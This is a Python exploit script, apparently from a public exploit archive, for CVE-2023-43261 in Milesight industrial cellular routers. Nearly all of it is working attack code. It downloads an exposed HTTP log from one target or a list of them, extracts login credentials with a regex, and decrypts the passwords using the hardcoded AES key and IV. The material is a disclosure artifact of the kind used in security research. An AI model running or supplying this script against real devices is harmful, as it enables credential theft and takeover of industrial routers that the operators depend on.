Milesight UR5X / UR32L / UR32 / UR35 / UR41 Credential Leakage

#!/usr/bin/env python3# -*- coding: utf-8 -*-"""Title: Credential Leakage Through Unprotected System Logs and Weak Password EncryptionCVE: CVE-2023-43261Script Author: Bipin Jitiya (@win3zz)Vendor: Milesight IoT - https://www.milesight-iot.com/ (Formerly Xiamen Ursalink Technology Co., Ltd.)Software/Hardware: UR5X, UR32L, UR32, UR35, UR41 and there might be other Industrial Cellular Router could also be vulnerable.Script Tested on: Ubuntu 20.04.6 LTS with Python 3.8.10Writeup: https://medium.com/@win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf"""import sysimport requestsimport reimport warningsfrom Crypto.Cipher import AES # pip install pycryptodomefrom Crypto.Util.Padding import unpadimport base64import timewarnings.filterwarnings("ignore")KEY = b'1111111111111111'IV = b'2222222222222222'def decrypt_password(password):    try:        return unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(password)), AES.block_size).decode('utf-8')    except ValueError as e:        display_output('      [-] Error occurred during password decryption: ' + str(e), 'red')def display_output(message, color):    colors = {'red': '\033[91m', 'green': '\033[92m', 'blue': '\033[94m', 'yellow': '\033[93m', 'cyan': '\033[96m', 'end': '\033[0m'}    print(f"{colors[color]}{message}{colors['end']}")    time.sleep(0.5)urls = []if len(sys.argv) == 2:    urls.append(sys.argv[1])if len(sys.argv) == 3 and sys.argv[1] == '-f':    with open(sys.argv[2], 'r') as file:        urls.extend(file.read().splitlines())if len(urls) == 0:    display_output('Please provide a URL or a file with a list of URLs.', 'red')    display_output('Example: python3 ' + sys.argv[0] + ' https://example.com', 'blue')    display_output('Example: python3 ' + sys.argv[0] + ' -f urls.txt', 'blue')    sys.exit()use_proxy = Falseproxies = {'http': 'http://127.0.0.1:8080/'} if use_proxy else Nonefor url in urls:    display_output('[*] Initiating data retrieval for: ' + url + '/lang/log/httpd.log', 'blue')    response = requests.get(url + '/lang/log/httpd.log', proxies=proxies, verify=False)    if response.status_code == 200:        display_output('[+] Data retrieval successful for: ' + url + '/lang/log/httpd.log', 'green')        data = response.text        credentials = set(re.findall(r'"username":"(.*?)","password":"(.*?)"', data))        num_credentials = len(credentials)        display_output(f'[+] Found {num_credentials} unique credentials for: ' + url, 'green')        if num_credentials > 0:            display_output('[+] Login page: ' + url + '/login.html', 'green')            display_output('[*] Extracting and decrypting credentials for: ' + url, 'blue')            display_output('[+] Unique Credentials:', 'yellow')            for i, (username, password) in enumerate(credentials, start=1):                display_output(f'    Credential {i}:', 'cyan')                decrypted_password = decrypt_password(password.encode('utf-8'))                display_output(f'      - Username: {username}', 'green')                display_output(f'      - Password: {decrypted_password}', 'green')        else:            display_output('[-] No credentials found in the retrieved data for: ' + url, 'red')    else:        display_output('[-] Data retrieval failed. Please check the URL: ' + url, 'red')